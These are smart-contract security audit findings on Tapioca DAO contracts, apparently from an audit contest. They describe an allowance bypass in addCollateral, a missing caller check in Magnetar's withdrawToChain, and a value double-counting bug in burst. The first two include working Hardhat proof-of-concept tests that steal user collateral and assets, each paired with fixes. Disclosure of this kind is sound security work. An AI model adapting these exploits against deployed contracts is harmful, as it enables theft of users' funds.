Tapioca DAO - 0xStalin's results

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/singularity/SGLCollateral.sol#L21-L29 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L282-L290

Vulnerability details

Impact

• All user's collateral that is deposited in the YieldBox vault can be stolen by attackers.

Proof of Concept

This vulnerability is present in the SGLCollateral::addCollateral() and BigBang::addCollateral() functions, the issue is the same for the two functions, for this report I'm gonna be referring to the code of the Singularity market, let's first break down the flow execution when calling the addCollateral() functions.

• So, the addCollateral() functions use the allowedBorrow() modifier to either check if the caller/msg.sender is the same as the from address (from where the collateral will be taken) or check if the from address has granted enough allowance to the caller to spend on his behalf
  • The allowedBorrow() receives the values of the from and shares parameters sent to the addCollateral() and forwards them to the _allowedBorrow() to perform the two above checks.
• If the allowedBorrow() modifier determines that the caller has the right to execute the operation, then the internal _addCollateral() will be executed, this function receives all the parameters that are sent to the public addCollateral(), those parameters are from, to, skim, amount, & share

  • The first operation performed in the _addCollateral() is to validate if shares were sent as 0, it will use the value of the parameter amount to compute the number of required shares to add the desired amount as collateral

  • From here onwards the function will update the storage variables related to the collateral held by the users & will call the _addTokens() to transfer the shares from the from address into the Singularity market in the YieldBox vault and debit the to address as the owner of the corresponding transferred shares

Let's see how an attacker can steal other users' collaterals.

• The allowedBorrow() modifier receives the value of the from and shares parameters, and based on those two determines if the caller has the right to execute the operation, if the caller is not the from address it checks if it has enough allowance to spend the desired amount of shares

  • When an account has no allowance, the value of allowance[from][msg.sender] is 0
  • If the attacker sends the value of shares set to 0, the check to determine if the caller has enough allowance will not make the tx to revert, because it will evaluate to false by checking if(0 < 0), and the tx only reverts when the check evaluates to true, that means that the caller wants to spend more of what has been allowed.

• So, by sending shares as 0, the allowedBorrow modifier can be bypassed, and now the execution goes to the _addCollateral(), where it checks if shares == 0, if so, it will use the amount parameter to compute the equivalent amount of shares that are required to add that desired amount as collateral.

  • With the computed amount of shares required to deposit the desired amount, the tx will proceed to transfer from the from address the shares that it has deposited on the YieldBox into the Singularity market, and the to address will be debited as the owner of those shares.

• Summarizing the above explanation: attacker sends shares set to 0 and amount set to the amount of collateral that the from address has deposited in the YieldBox, the allowedBorrow modifier is bypassed, the function will compute the required amount of shares to transfer the desired amount of collateral, which will allow the attacker to spend the collateral of the from address and debit an account of his own as the owner of that collateral

Coded a Poc

• I used the tapioca-bar-audit/test/leverage.test.ts as the base for this PoC.

• First, we need to update the tapioca-bar-audit/test/test.utils.ts file to add a new address (The Attacker's address) for the PoC

  • Add the below lines:

***
  ***
  ***
    ****
    ***
    // Deploy an EOA
    const eoa1 = new ethers.Wallet(
        ethers.Wallet.createRandom().privateKey,
        ethers.provider,
    );

+   const attackerEOA = new ethers.Wallet(
+       ethers.Wallet.createRandom().privateKey,
+       ethers.provider,
+   );

    if (!staging) {
        await setBalance(eoa1.address, 100000);
+       await setBalance(attackerEOA.address, 100000);
    }

    // Helper
    const initialSetup = {
        ...
        eoa1,
+       attackerEOA,
        ...
    };

    ***
    ***
  ***
  ***
***

• We'll need to create a new test file with the following code, make sure to create this file in the same folder as the tapioca-bar-audit/test/leverage.test.ts file

import hre, { ethers } from 'hardhat';
import { expect } from 'chai';
import { BN, getSGLPermitSignature, register } from './test.utils';
import {
    loadFixture,
    takeSnapshot,
} from '@nomicfoundation/hardhat-network-helpers';
import { LiquidationQueue__factory } from '../gitsub_tapioca-sdk/src/typechain/tapioca-periphery';

describe('Singularity test - PoC to demonstrate how attacker can steal users collaterals', () => {
    describe('Stealing other users collaterals', async () => {
        it('An attacker should be able to steal other users collaterals', async () => {
            const {
                deployer,
                bar,
                eoa1,
                attackerEOA,
                yieldBox,
                weth,
                wethAssetId,
                usdcAssetId,
                mediumRiskMC,
                wethUsdcOracle,
                usdc,
                usd0,
                __wethUsdcPrice,
                deployCurveStableToUsdoBidder,
                multiSwapper,
                BN,
                timeTravel,
            } = await loadFixture(register);
            //deploy and register USDO

            const usdoStratregy = await bar.emptyStrategies(usd0.address);
            const usdoAssetId = await yieldBox.ids(
                1,
                usd0.address,
                usdoStratregy,
                0,
            );

            //Deploy & set Singularity
            const _sglLiquidationModule = await (
                await ethers.getContractFactory('SGLLiquidation')
            ).deploy();
            await _sglLiquidationModule.deployed();
            const _sglBorrow = await (
                await ethers.getContractFactory('SGLBorrow')
            ).deploy();
            await _sglBorrow.deployed();
            const _sglCollateral = await (
                await ethers.getContractFactory('SGLCollateral')
            ).deploy();
            await _sglCollateral.deployed();
            const _sglLeverage = await (
                await ethers.getContractFactory('SGLLeverage')
            ).deploy();
            await _sglLeverage.deployed();

            const collateralSwapPath = [usd0.address, weth.address];

            const newPrice = __wethUsdcPrice.div(1000000);
            await wethUsdcOracle.set(newPrice);

            const data = new ethers.utils.AbiCoder().encode(
                [
                    'address',
                    'address',
                    'address',
                    'address',
                    'address',
                    'address',
                    'uint256',
                    'address',
                    'uint256',
                    'address',
                    'uint256',
                ],
                [
                    _sglLiquidationModule.address,
                    _sglBorrow.address,
                    _sglCollateral.address,
                    _sglLeverage.address,
                    bar.address,
                    usd0.address,
                    usdoAssetId,
                    weth.address,
                    wethAssetId,
                    wethUsdcOracle.address,
                    ethers.utils.parseEther('1'),
                ],
            );
            await bar.registerSingularity(mediumRiskMC.address, data, true);
            const wethUsdoSingularity = await ethers.getContractAt(
                'Singularity',
                await bar.clonesOf(
                    mediumRiskMC.address,
                    (await bar.clonesOfCount(mediumRiskMC.address)).sub(1),
                ),
            );

            //Deploy & set LiquidationQueue
            await usd0.setMinterStatus(wethUsdoSingularity.address, true);
            await usd0.setBurnerStatus(wethUsdoSingularity.address, true);

            const LiquidationQueue = new LiquidationQueue__factory(deployer);
            const liquidationQueue = await LiquidationQueue.deploy();

            const feeCollector = new ethers.Wallet(
                ethers.Wallet.createRandom().privateKey,
                ethers.provider,
            );

            const { stableToUsdoBidder } = await deployCurveStableToUsdoBidder(
                yieldBox,
                usdc,
                usd0,
            );

            const LQ_META = {
                activationTime: 600, // 10min
                minBidAmount: ethers.BigNumber.from((1e18).toString()).mul(200), // 200 USDC
                closeToMinBidAmount: ethers.BigNumber.from(
                    (1e18).toString(),
                ).mul(202),
                defaultBidAmount: ethers.BigNumber.from((1e18).toString()).mul(
                    400,
                ), // 400 USDC
                feeCollector: feeCollector.address,
                bidExecutionSwapper: ethers.constants.AddressZero,
                usdoSwapper: stableToUsdoBidder.address,
            };
            await liquidationQueue.init(LQ_META, wethUsdoSingularity.address);

            const payload = wethUsdoSingularity.interface.encodeFunctionData(
                'setLiquidationQueueConfig',
                [
                    liquidationQueue.address,
                    ethers.constants.AddressZero,
                    ethers.constants.AddressZero,
                ],
            );

            await (
                await bar.executeMarketFn(
                    [wethUsdoSingularity.address],
                    [payload],
                    true,
                )
            ).wait();

            //get tokens
            const wethAmount = ethers.BigNumber.from((1e18).toString()).mul(
                100,
            );
            const usdoAmount = ethers.BigNumber.from((1e18).toString()).mul(
                20000,
            );
            await usd0.mint(deployer.address, usdoAmount);
            await weth.connect(eoa1).freeMint(wethAmount);

            //aprove external operators
            await usd0
                .connect(deployer)
                .approve(yieldBox.address, ethers.constants.MaxUint256);
            await weth
                .connect(deployer)
                .approve(yieldBox.address, ethers.constants.MaxUint256);
            await yieldBox
                .connect(deployer)
                .setApprovalForAll(wethUsdoSingularity.address, true);

            await usd0
                .connect(eoa1)
                .approve(yieldBox.address, ethers.constants.MaxUint256);
            await weth
                .connect(eoa1)
                .approve(yieldBox.address, ethers.constants.MaxUint256);
            await yieldBox
                .connect(eoa1)
                .setApprovalForAll(wethUsdoSingularity.address, true);

            // We lend Usdo as deployer
            const usdoLendValue = usdoAmount.div(2);
            const _valShare = await yieldBox.toShare(
                usdoAssetId,
                usdoLendValue,
                false,
            );
            await yieldBox.depositAsset(
                usdoAssetId,
                deployer.address,
                deployer.address,
                0,
                _valShare,
            );
            await wethUsdoSingularity.addAsset(
                deployer.address,
                deployer.address,
                false,
                _valShare,
            );

            expect(
                await wethUsdoSingularity.balanceOf(deployer.address),
            ).to.be.equal(
                await yieldBox.toShare(usdoAssetId, usdoLendValue, false),
            );

            //@audit => eoa1 deposits wethDepositAmount in the YieldBox, which later will be add as collateral in the Singularity Market
            //we lend weth collateral
            const wethDepositAmount = ethers.BigNumber.from(
                (1e18).toString(),
            ).mul(1);
            await yieldBox
                .connect(eoa1)
                .depositAsset(
                    wethAssetId,
                    eoa1.address,
                    eoa1.address,
                    wethDepositAmount,
                    0,
                );
            
            //@audit => eoa1 valShares after depositing wethDepositAmount
            const _wethValShare = await yieldBox
                .connect(eoa1)
                .balanceOf(eoa1.address, wethAssetId);
            expect(_wethValShare).gt(0);
            

            // validate attacker has 0 valShares!
            const _attackerWethValShare = await yieldBox
                .connect(attackerEOA)
                .balanceOf(attackerEOA.address, wethAssetId);
            expect(_attackerWethValShare).equal(0);
                
            
            // Validate that attackerEOA has not collateral before stealing eoa1's collateral!
            expect(
                await wethUsdoSingularity.userCollateralShare(attackerEOA.address),
            ).equal(
                0,
            );
            
            // Validate that attackerEOA has 0 allowance in the allowanceBorrow mapping to spend on behalf of the eoa1
            expect(
                await wethUsdoSingularity.allowanceBorrow(eoa1.address,attackerEOA.address),
            ).equal(
                0,
            );

            console.log("======= Before the attack ======= ");
            console.log("User deposited collateral: ", _wethValShare);
            console.log("Attacker deposited collateral: ", _attackerWethValShare);
            console.log("Attacker collateral share in Singularity Market: ", await wethUsdoSingularity.userCollateralShare(attackerEOA.address));
            console.log("Attacker allowanceBorrow on the user: ", await wethUsdoSingularity.allowanceBorrow(eoa1.address,attackerEOA.address));
            console.log("\t\t===================================\n\n");

            // Performing the attack
              // Send `amount` set as the user's asset deposited amount in the YieldBox (wethDepositAmount)
              // Send `shares` set as 0 
            await wethUsdoSingularity
                .connect(attackerEOA)
                .addCollateral(
                    eoa1.address,
                    attackerEOA.address,
                    false,
                    wethDepositAmount,
                    0,
                );
                            
                // Validate attack
                expect(
                  await wethUsdoSingularity.userCollateralShare(attackerEOA.address),
                  ).equal(
                    await yieldBox.toShare(wethAssetId, wethDepositAmount, false),
                    );
                
                    
                console.log("======= After the attack ======= ");
                console.log("Attacker collateral share in Singularity Market: ", await wethUsdoSingularity.userCollateralShare(attackerEOA.address));
                console.log("User collateral share in Singularity Market: ", await wethUsdoSingularity.userCollateralShare(eoa1.address));
        });
    });
  });

• The PoC will demonstrate how an attacker can steal the user's deposited collateral in the YieldBox and debit accounts of their own as the owner of that collateral.

Tools Used

Manual Audit

Recommended Mitigation Steps

• The recommendation is to also send the amount parameter to the allowedBorrow modifier, and in the modifier check if share is set to 0 and amount is != 0, if so, compute the required number of shares that will be required to add the collateral specified by the value of the amount parameter, then, use the computed number of shares to validate if the caller has enough allowance to spend on behalf of the from address, if not, revert the tx.

+ modifier allowedBorrow(address from, uint share, uint amount) virtual {
+   _allowedBorrow(from, share, amount);
    _;
}

+ function _allowedBorrow(address from, uint share, uint amount) internal {
    if (from != msg.sender) {

+       if (share == 0 && amount != 0) {
+           share = yieldBox.toShare(collateralId, amount, false);
+       }

        if (allowanceBorrow[from][msg.sender] < share) {
            revert NotApproved(from, msg.sender);
        }
        allowanceBorrow[from][msg.sender] -= share;
    }
}

function addCollateral(
      address from,
      address to,
      bool skim,
      uint256 amount,
      uint256 share
+ ) public allowedBorrow(from, share, amount) notPaused {
      _addCollateral(from, to, skim, amount, share);
}

Assessed type

Invalid Validation

Lines of code

https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Magnetar/modules/MagnetarMarketModule.sol#L677-L732

Vulnerability details

Impact

• User assets in the YieldBox are at risk of being stolen by malicious actors through the Magnetar contract

Proof of Concept

• When users use Magnetar they need to grant the contract permissions to manipulate their assets in the YieldBox, there are different options that the users can use to grant Magnetar the allowance that it requires, they can grant ALL permissions directly on the YieldBox, ALL permissions for a certain period of time using the PERMIT_ALL() in the Magnetar contract or using the PERMIT() to grant permissions only for the tx execution.

• When users grant Magnetar permissions that persist after the current tx execution, the Magnetar contract will effectively be allowed to manipulate the assets on the user's behalf if they call the Magnetar contract (Or at least this is how it should work).

  • Even though Magnetar has an allowance, it should not make any movements on the user's assets unless the user or an authorized entity by the user makes the calls.
  • If anybody other than the user (or their authorized accounts) attempts to move the user's assets on his behalf using the Magnetar contract, the tx should be reverted to protect the user

• The problem when withdrawing assets using the Magnetar contract is that the Magnetar contract doesn't validate if the caller (msg.sender) is the user or an authorized entity, this opens up an attack vector where an attacker can steal the user's assets deposited in the YieldBox and transfer them to an account of his own.

  • Even though the Attacker is not authorized by the user to manipulate his assets, because of this vulnerability, the Attacker can successfully manipulate the user's assets in the YieldBox through the Magnetar contract.

• This vulnerability is present on the Magnetar::withdrawToChain() and the consequences are that attackers can steal user's assets deposited in the YieldBox

• The Magnetar::withdrawToChain() function does not validate if the caller is authorized to withdraw user assets, this is how the function looks like. There are no validations to check if the msg.sender has permissions to spend the assets of the from account

    function _withdrawToChain(
        IYieldBoxBase yieldBox,
        address from,
        uint256 assetId,
        uint16 dstChainId,
        bytes32 receiver,
        uint256 amount,
        uint256 share,
        bytes memory adapterParams,
        address payable refundAddress,
        uint256 gas
    ) private {
        // perform a same chain withdrawal
        if (dstChainId == 0) {
            yieldBox.withdraw(
                assetId,
                from,
                LzLib.bytes32ToAddress(receiver),
                amount,
                share
            );
            return;
        }
        // perform a cross chain withdrawal
        (, address asset, , ) = yieldBox.assets(assetId);
        // make sure the asset supports a cross chain operation
        try
            IERC165(address(asset)).supportsInterface(
                type(ISendFrom).interfaceId
            )
        {} catch {
            return;
        }

        // withdraw from YieldBox
        yieldBox.withdraw(assetId, from, address(this), amount, 0);

        // build LZ params
        bytes memory _adapterParams;
        ISendFrom.LzCallParams memory callParams = ISendFrom.LzCallParams({
            refundAddress: msg.value > 0 ? refundAddress : payable(this),
            zroPaymentAddress: address(0),
            adapterParams: ISendFrom(address(asset)).useCustomAdapterParams()
                ? adapterParams
                : _adapterParams
        });

        // sends the asset to another layer
        ISendFrom(address(asset)).sendFrom{value: gas}(
            address(this),
            dstChainId,
            receiver,
            amount,
            callParams
        );
    }

Coded PoC

• For the purpose of this PoC, we are going to make a withdrawal on the same chain, thus dstChainIt == 0

1. The first step is to add the attacker account in the test.utils.ts file

> git diff --no-index test.utils.ts testPoC.utils.ts

diff --git a/test.utils.ts b/testPoC.utils.ts
index 00fc388..83107e6 100755
--- a/test.utils.ts
+++ b/testPoC.utils.ts
@@ -1023,8 +1023,14 @@ export async function register(staging?: boolean) {
         ethers.provider,
     );

+    const attacker = new ethers.Wallet(
+        ethers.Wallet.createRandom().privateKey,
+        ethers.provider,
+    );
+
     if (!staging) {
         await setBalance(eoa1.address, 100000);
+        await setBalance(attacker.address, 100000);
     }

     // ------------------- Deploy WethUSDC mock oracle -------------------
@@ -1314,6 +1320,7 @@ export async function register(staging?: boolean) {

     if (!staging) {
         await setBalance(eoa1.address, 100000);
+        await setBalance(attacker.address, 100000);
     }

     const initialSetup = {
@@ -1341,6 +1348,7 @@ export async function register(staging?: boolean) {
         _sglLeverageModule,
         magnetar,
         eoa1,
+        attacker,
         multiSwapper,
         singularityFeeTo,
         liquidationQueue,

2. Create a new file to reproduce this PoC, magnetar_withdrawToChainAttack_PoC.test.ts

• Make sure to create this new test file under the tapioca-periph-audit/test/ folder

import { expect } from 'chai';
import hre, { ethers, config } from 'hardhat';
import { BN, register, getSGLPermitSignature } from './test.utils';
import {
    loadFixture,
    takeSnapshot,
} from '@nomicfoundation/hardhat-network-helpers';

import SingularityArtifact from '../gitsub_tapioca-sdk/src/artifacts/tapioca-bar/Singularity.json';
import {
    SGLCollateral__factory,
    SGLBorrow__factory,
    SGLLeverage__factory,
    SGLLiquidation__factory,
} from '../gitsub_tapioca-sdk/src/typechain/tapioca-bar';


describe('MagnetarV2', () => {

    describe('Steal user assets using the withdrawTo() function', () => {
      it('Attacker will steal user assets in YieldBox using the withdrawTo', async () => {
        const {
            deployer,
            attacker,
            yieldBox,
            createTokenEmptyStrategy,
            deployCurveStableToUsdoBidder,
            usd0,
            bar,
            __wethUsdcPrice,
            wethUsdcOracle,
            weth,
            wethAssetId,
            mediumRiskMC,
            usdc,
            magnetar,
            initContracts,
            timeTravel,
        } = await loadFixture(register);

        const usdoStratregy = await bar.emptyStrategies(usd0.address);
        const usdoAssetId = await yieldBox.ids(
            1,
            usd0.address,
            usdoStratregy,
            0,
        );

        //Deploy & set Singularity
        const SGLLiquidation = new SGLLiquidation__factory(deployer);
        const _sglLiquidationModule = await SGLLiquidation.deploy();

        const SGLCollateral = new SGLCollateral__factory(deployer);
        const _sglCollateralModule = await SGLCollateral.deploy();

        const SGLBorrow = new SGLBorrow__factory(deployer);
        const _sglBorrowModule = await SGLBorrow.deploy();

        const SGLLeverage = new SGLLeverage__factory(deployer);
        const _sglLeverageModule = await SGLLeverage.deploy();

        const newPrice = __wethUsdcPrice.div(1000000);
        await wethUsdcOracle.set(newPrice);

        const sglData = new ethers.utils.AbiCoder().encode(
            [
                'address',
                'address',
                'address',
                'address',
                'address',
                'address',
                'uint256',
                'address',
                'uint256',
                'address',
                'uint256',
            ],
            [
                _sglLiquidationModule.address,
                _sglBorrowModule.address,
                _sglCollateralModule.address,
                _sglLeverageModule.address,
                bar.address,
                usd0.address,
                usdoAssetId,
                weth.address,
                wethAssetId,
                wethUsdcOracle.address,
                ethers.utils.parseEther('1'),
            ],
        );
        await bar.registerSingularity(mediumRiskMC.address, sglData, true);
        const wethUsdoSingularity = new ethers.Contract(
            await bar.clonesOf(
                mediumRiskMC.address,
                (await bar.clonesOfCount(mediumRiskMC.address)).sub(1),
            ),
            SingularityArtifact.abi,
            ethers.provider,
        ).connect(deployer);

        //Deploy & set LiquidationQueue
        await usd0.setMinterStatus(wethUsdoSingularity.address, true);
        await usd0.setBurnerStatus(wethUsdoSingularity.address, true);

        const LiquidationQueueFactory = await ethers.getContractFactory(
            'LiquidationQueue',
        );
        const liquidationQueue = await LiquidationQueueFactory.deploy();

        const feeCollector = new ethers.Wallet(
            ethers.Wallet.createRandom().privateKey,
            ethers.provider,
        );

        const { stableToUsdoBidder } = await deployCurveStableToUsdoBidder(
            deployer,
            bar,
            usdc,
            usd0,
        );

        const LQ_META = {
            activationTime: 600, // 10min
            minBidAmount: ethers.BigNumber.from((1e18).toString()).mul(200), // 200 USDC
            closeToMinBidAmount: ethers.BigNumber.from(
                (1e18).toString(),
            ).mul(202),
            defaultBidAmount: ethers.BigNumber.from((1e18).toString()).mul(
                400,
            ), // 400 USDC
            feeCollector: feeCollector.address,
            bidExecutionSwapper: ethers.constants.AddressZero,
            usdoSwapper: stableToUsdoBidder.address,
        };
        await liquidationQueue.init(LQ_META, wethUsdoSingularity.address);

        const payload = wethUsdoSingularity.interface.encodeFunctionData(
            'setLiquidationQueueConfig',
            [
                liquidationQueue.address,
                ethers.constants.AddressZero,
                ethers.constants.AddressZero,
            ],
        );

        await (
            await bar.executeMarketFn(
                [wethUsdoSingularity.address],
                [payload],
                true,
            )
        ).wait();

        const usdoAmount = ethers.BigNumber.from((1e18).toString()).mul(10);
        const usdoShare = await yieldBox.toShare(
            usdoAssetId,
            usdoAmount,
            false,
        );
        await usd0.mint(deployer.address, usdoAmount);

        const depositAssetEncoded = yieldBox.interface.encodeFunctionData(
            'depositAsset',
            [usdoAssetId, deployer.address, deployer.address, 0, usdoShare],
        );

        const sglLendEncoded =
            wethUsdoSingularity.interface.encodeFunctionData('addAsset', [
                deployer.address,
                deployer.address,
                false,
                usdoShare,
            ]);

        await usd0.approve(magnetar.address, ethers.constants.MaxUint256);
        await usd0.approve(yieldBox.address, ethers.constants.MaxUint256);
        await usd0.approve(
            wethUsdoSingularity.address,
            ethers.constants.MaxUint256,
        );
        await yieldBox.setApprovalForAll(deployer.address, true);
        await yieldBox.setApprovalForAll(wethUsdoSingularity.address, true);
        await yieldBox.setApprovalForAll(magnetar.address, true);
        await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
        await weth.approve(magnetar.address, ethers.constants.MaxUint256);
        await wethUsdoSingularity.approve(
            magnetar.address,
            ethers.constants.MaxUint256,
        );
        const calls = [
            {
                id: 100,
                target: yieldBox.address,
                value: 0,
                allowFailure: false,
                call: depositAssetEncoded,
            },
            {
                id: 203,
                target: wethUsdoSingularity.address,
                value: 0,
                allowFailure: false,
                call: sglLendEncoded,
            },
        ];

        await magnetar.connect(deployer).burst(calls);

        const ybBalance = await yieldBox.balanceOf(
            deployer.address,
            usdoAssetId,
        );
        expect(ybBalance.eq(0)).to.be.true;

        const sglBalance = await wethUsdoSingularity.balanceOf(
            deployer.address,
        );
        expect(sglBalance.gt(0)).to.be.true;

        const borrowAmount = ethers.BigNumber.from((1e17).toString());
        await timeTravel(86401);
        const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(1);
        await weth.freeMint(wethMintVal);

        await wethUsdoSingularity
            .connect(deployer)
            .approveBorrow(magnetar.address, ethers.constants.MaxUint256);

        const borrowFn = magnetar.interface.encodeFunctionData(
            'depositAddCollateralAndBorrowFromMarket',
            [
                wethUsdoSingularity.address,
                deployer.address,
                wethMintVal,
                0,
                true,
                true,
                {
                    withdraw: false,
                    withdrawLzFeeAmount: 0,
                    withdrawOnOtherChain: false,
                    withdrawLzChainId: 0,
                    withdrawAdapterParams: ethers.utils.toUtf8Bytes(''),
                },
            ],
        );

        let borrowPart = await wethUsdoSingularity.userBorrowPart(
            deployer.address,
        );
        expect(borrowPart.eq(0)).to.be.true;
        await magnetar.connect(deployer).burst(
            [
                {
                    id: 206,
                    target: magnetar.address,
                    value: ethers.utils.parseEther('2'),
                    allowFailure: false,
                    call: borrowFn,
                },
            ],
            {
                value: ethers.utils.parseEther('2'),
            },
        );

        const collateralBalance =
            await wethUsdoSingularity.userCollateralShare(deployer.address);
        const collateralAmpunt = await yieldBox.toAmount(
            wethAssetId,
            collateralBalance,
            false,
        );
        expect(collateralAmpunt.eq(wethMintVal)).to.be.true;

        const totalAsset = await wethUsdoSingularity.totalSupply();

        await wethUsdoSingularity
            .connect(deployer)
            .borrow(deployer.address, deployer.address, borrowAmount);

        borrowPart = await wethUsdoSingularity.userBorrowPart(
            deployer.address,
        );
        expect(borrowPart.gte(borrowAmount)).to.be.true;

        //@audit => Attacker call withdrawToChain() and withdraw assets from the `deployer` account to his own account!

        console.log("User USDO balance BEFORE the attack: ", await usd0.balanceOf(deployer.address));
        console.log("Attacker USDO balance BEFORE the attack: ", await usd0.balanceOf(attacker.address));

        const receiverSplit = attacker.address.split('0x');
        await magnetar.connect(attacker).withdrawToChain(
            yieldBox.address,
            deployer.address,
            usdoAssetId,
            0,
            '0x'.concat(receiverSplit[1].padStart(64, '0')),
            borrowAmount,
            0,
            '0x00',
            attacker.address,
            0,
        );

        console.log("\n\n=============================================================\n\n");
        console.log("User USDO balance AFTER the attack: ", await usd0.balanceOf(deployer.address));
        console.log("Attacker USDO balance AFTER the attack: ", await usd0.balanceOf(attacker.address));

      });
    });

});

3. After the 2 previous steps have been completed, everything is ready to run the PoC.

npx hardhat test magnetar_withdrawToChainAttack_PoC.test.ts

  MagnetarV2
    Steal user assets using the withdrawTo() function
User USDO balance BEFORE the attack:  BigNumber { value: "0" }
Attacker USDO balance BEFORE the attack:  BigNumber { value: "0" }

=============================================================

User USDO balance AFTER the attack:  BigNumber { value: "0" }
Attacker USDO balance AFTER the attack:  BigNumber { value: "100000000000000000" }
      ✔ Attacker will steal user assets in YieldBox using the withdrawTo (14395ms)

Tools Used

Manual Audit

Recommended Mitigation Steps

• Make sure to validate if the caller (msg.sender) is an authorized entity by the user (or if it's the same user).
  • Because the _withdrawToChain() is called by different functions in the Magnetar contract, and some of those functions send the from as the address(this) (to allow Magnetar to receive assets before doing more operations), it is required to add snippet like in the example below:
    • First check if(from != address(this)), if true, that means that from is a user account, so, it is required to validate if the caller is authorized by the user

function _withdrawToChain(
    IYieldBoxBase yieldBox,
    address from,
    uint256 assetId,
    uint16 dstChainId,
    bytes32 receiver,
    uint256 amount,
    uint256 share,
    bytes memory adapterParams,
    address payable refundAddress,
    uint256 gas
) private {
+   if(from != address(this)) require(_isAuthorizedToWithdraw(from,msg.sender), "Caller is not authorized to withdraw on behalf of the specified user");
    ...
    ...
}

• The below snippet is a suggestion about how to implement the logic to allow users to authorize specific accounts to withdraw their assets on their behalf

contract Magnetar {

  // user => caller => authorized?
  mapping (address => mapping (address => bool)) public authorizedToWithdraw;

  function _isAuthorizedToWithdraw(address _user, address _caller) internal returns(bool) {
    return authorizedToWithdraw[_user][_caller];
  }

  function authorizeWithdrawer(_address _withdrawer, bool permission) external {
    authorizedToWithdraw[msg.sender][_withdrawer] = permission;
  }

}

Assessed type

Invalid Validation

Lines of code

https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Magnetar/MagnetarV2.sol#L232-L241

Vulnerability details

Impact

• Any process of the Magnetar::burst() that requires to wrap the native token before executing other actions will be completely unusable, always when the burst() executes the logic to wrap the native token, the valAccumulator will accrue twice the _action.value of that action in the array of calls, and at the end of the loop iteration over the array of calls, the check to validate if valAccumulator equals to msg.value will fail and the tx will be reverted.

Proof of Concept

• When the Magnetar::burst() functions are iterating over the array of calls and the current actionId matches the action to wrap a token (TOFT_WRAP), and the wrap is made for the native token (_action.value > 0), the valAccumulator (which is keeping track of the sum of all the _action.value) will add again the value of the current _action.value, the problem is that the valAccumulator it was already updated with the value of the current _action.value (to be precise, at the beginning of the execution of each new call of the calls array, the valAccumulator adds up the value of the current _action.value).
  • So, as a result of adding twice the _action.value, the valAccumulator won't match the value of the msg.value that was sent to execute the calls, and the tx will be reverted.
    • And if the users consider this bug and send the msg.value to match the duplicate sum of the _action.value, the users will end up loosing the extra native token that they sent because the extra tokens were not used, they will be left in the Magnetar contract.

    function burst(
        Call[] calldata calls
    ) external payable returns (Result[] memory returnData) {
        uint256 valAccumulator;

        uint256 length = calls.length;
        returnData = new Result[](length);

        for (uint256 i = 0; i < length; i++) {
            Call calldata _action = calls[i];
            if (!_action.allowFailure) {
                require(
                    _action.call.length > 0,
                    string.concat(
                        "MagnetarV2: Missing call for action with index",
                        string(abi.encode(i))
                    )
                );
            }
            
            //@audit-info => valAccumulator adds up the value of _action.value at the begining of the execution of each new call!
            unchecked {
                valAccumulator += _action.value;
            }

            ...
            ...
            ...
            } else if (_action.id == TOFT_WRAP) {
                WrapData memory data = abi.decode(_action.call[4:], (WrapData));
                _checkSender(data.from);
                if (_action.value > 0) {
                  
                  //@audit-issue => Here the valAccumulator is adding again the _action.value, even though it was already added at the beggining of the execution of this action!
                    unchecked {
                        valAccumulator += _action.value;
                    }
                  
                    ITapiocaOFT(_action.target).wrapNative{
                        value: _action.value
                    }(data.to);
                } 
          ...
          ...
          
          //@audit-issue => When validating if valAccumulator matches the `msg.value`, the validation will fail because the `valAccumulator` accrues twice the value `_action.value` when wrapping the native token
          require(msg.value == valAccumulator, "MagnetarV2: value mismatch");

Tools Used

Manual Audit

Recommended Mitigation Steps

• The fix for this bug is pretty straightforward, don't accrue twice the value of _action.value when wrapping the native token.

  • It is not required to add twice the value of _action.value, it has already been accounted for at the beginning of the execution of that call.

• Remove the line of code that makes the valAccumulator sum again the _action.value when the action is to wrap the native token

    function burst(
        Call[] calldata calls
    ) external payable returns (Result[] memory returnData) {
        uint256 valAccumulator;

        uint256 length = calls.length;
        returnData = new Result[](length);

        for (uint256 i = 0; i < length; i++) {
            Call calldata _action = calls[i];
            if (!_action.allowFailure) {
                require(
                    _action.call.length > 0,
                    string.concat(
                        "MagnetarV2: Missing call for action with index",
                        string(abi.encode(i))
                    )
                );
            }
            
            //@audit-info => valAccumulator adds up the value of _action.value at the beginning of the execution of each new call!
            unchecked {
                valAccumulator += _action.value;
            }

            ...
            ...
            ...
            } else if (_action.id == TOFT_WRAP) {
                WrapData memory data = abi.decode(_action.call[4:], (WrapData));
                _checkSender(data.from);
                if (_action.value > 0) {
-                   unchecked {
-                       valAccumulator += _action.value;
-                   }
                    ITapiocaOFT(_action.target).wrapNative{
                        value: _action.value
                    }(data.to);
                } 
          ...
          ...
          ...

Assessed type

Loop